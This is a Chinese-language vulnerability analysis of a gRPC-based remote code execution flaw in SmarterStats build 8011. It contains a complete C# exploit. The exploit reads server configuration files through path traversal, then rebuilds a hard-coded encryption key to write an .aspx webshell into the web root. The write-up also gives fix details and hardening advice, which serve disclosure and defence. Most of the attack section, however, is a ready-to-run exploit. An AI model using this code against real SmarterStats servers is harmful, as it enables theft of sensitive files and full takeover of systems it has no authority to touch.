SmarterStats 基于gRPC的RCE
字数 1852 2025-08-27 12:33:37
SmarterStats基于gRPC的RCE漏洞分析与利用
1. 漏洞概述
SmarterStats是一款网站分析软件,其8011版本中存在基于gRPC协议的远程代码执行漏洞。攻击者可以通过gRPC接口实现任意文件读取和写入,最终可能导致远程代码执行。
2. 环境搭建
2.1 下载安装
- 受影响版本:2016 8011版本
- 下载地址:https://downloads.smartertools.com/smarterstats/100.0.8011/SmarterStats_8011.exe
- 官方安装文档:https://help.smartertools.com/smarterstats/current/topics/Installation/Installation.aspx
2.2 服务分析
- 主服务程序:SSSvc.exe
- 监听端口:50003
- 监听地址:默认0.0.0.0
3. 漏洞分析
3.1 服务启动流程
main函数启动SSCollect服务类- 服务类调用
ServiceWorker.StartService() - 新起线程运行
ServiceLifetimeFunction函数 - 调用
ServiceWorker.Start() - 最终调用
GrpcManager.StartGrpc()开启gRPC监听
3.2 gRPC服务接口
StartGrpc中定义了四个服务:
Query->QueryServiceImplementationSiteList->SiteListServiceImplementationServiceOperations->ServiceOperationsServiceImplementationSiteControl->SiteControlServiceImplementation
3.3 漏洞点分析
3.3.1 任意文件读取
位置:SStatSvc.Communication.ServiceOperationsServiceImplementation.GetExportedLogsForSite
- 未对输入的文件路径进行有效过滤
- 可通过路径遍历(
..\..\)读取系统任意文件
3.3.2 任意文件写入
位置:SStatSvc.Communication.ServiceOperationsServiceImplementation.SaveFileTo
- 虽然使用了加密key,但key是硬编码的
- 加密key格式:
MMddyyyy ksghsfkgjh - 可绕过加密机制实现任意文件写入
4. 漏洞利用
4.1 利用准备
- 创建C# gRPC项目
- 引用SmarterStats相关dll
- 使用
Query.BindService(new QueryServiceImplementation()).Intercept(interceptor)提供的rpc client工具类
4.2 利用代码示例
using Grpc.Core;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using SmarterStats.Config.Protos;
using Google.Protobuf.WellKnownTypes;
using SmarterStats.Config.Utility;
using System.IO;
using Google.Protobuf;
namespace Routeguide
{
class Program
{
static async Task<int> Main(string[] args)
{
// 建立gRPC连接
var channel = new Channel("172.16.16.132:50003", ChannelCredentials.Insecure);
ServiceOperations.ServiceOperationsClient client = new ServiceOperations.ServiceOperationsClient(channel);
// 任意文件读取
GetExportedLogsForSiteRequest request = new GetExportedLogsForSiteRequest();
request.FileToDownload = @"..\..\MRS\App_Data\Config\AppConfig.xml";
AsyncServerStreamingCall<GetExportedLogsForSiteResponse> asyncServerStreamingCall = client.GetExportedLogsForSite(request);
while (await asyncServerStreamingCall.ResponseStream.MoveNext())
{
Console.WriteLine(asyncServerStreamingCall.ResponseStream.Current.Data.ToStringUtf8());
}
// 任意文件写入
SaveFileToRequest saveFileToRequest = new SaveFileToRequest();
saveFileToRequest.Filename = @"C:\Program Files (x86)\SmarterTools\SmarterStats\MRS\test.aspx";
CryptographyHelper cryptographyHelper = new CryptographyHelper(0);
Timestamp timestamp = Timestamp.FromDateTime(DateTime.UtcNow);
saveFileToRequest.CreationDate = timestamp;
saveFileToRequest.LastWriteDate = timestamp;
// 设置加密key
cryptographyHelper.SetKey(saveFileToRequest.CreationDate.ToDateTime().ToString("MMddyyyy") + " ksghsfkgjh", null);
string auth = cryptographyHelper.EncodeToBase64(saveFileToRequest.Filename);
saveFileToRequest.Auth = auth;
// 写入文件内容
saveFileToRequest.FileData = ByteString.CopyFromUtf8(File.ReadAllText(@"1.txt"));
client.SaveFileTo(saveFileToRequest);
Console.WriteLine("write done.");
Console.ReadKey();
return 0;
}
}
}
4.3 利用步骤
- 通过
GetExportedLogsForSite读取敏感文件 - 构造恶意文件内容
- 使用
SaveFileTo写入Web目录 - 访问写入的WebShell实现RCE
5. 漏洞修复
5.1 修复措施
-
GetExportedLogsForSite:- 对文件名进行截取处理
- 增加鉴权机制
-
SaveFileTo:- 限制文件后缀白名单
- 使用正则表达式限制路径
5.2 安全建议
- 升级到最新版本
- 限制gRPC服务监听地址为127.0.0.1
- 实施网络访问控制
6. 技术思考
-
gRPC协议构造:
- 如果没有提供的
ServiceOperationsClient类,可以通过分析gRPC协议结构手动构造请求 - 使用Wireshark可以捕获gRPC请求结构,包括URI、UA、params等
- 如果没有提供的
-
反序列化问题:
- gRPC协议本身可能存在反序列化漏洞
- 需要进一步分析Protobuf序列化过程的安全性
7. 参考资源
- 原始漏洞报告:https://frycos.github.io/vulns4free/2022/06/17/yet-another-rpc-framework.html
- gRPC官方文档:https://grpc.io/
- Protocol Buffers文档:https://developers.google.com/protocol-buffers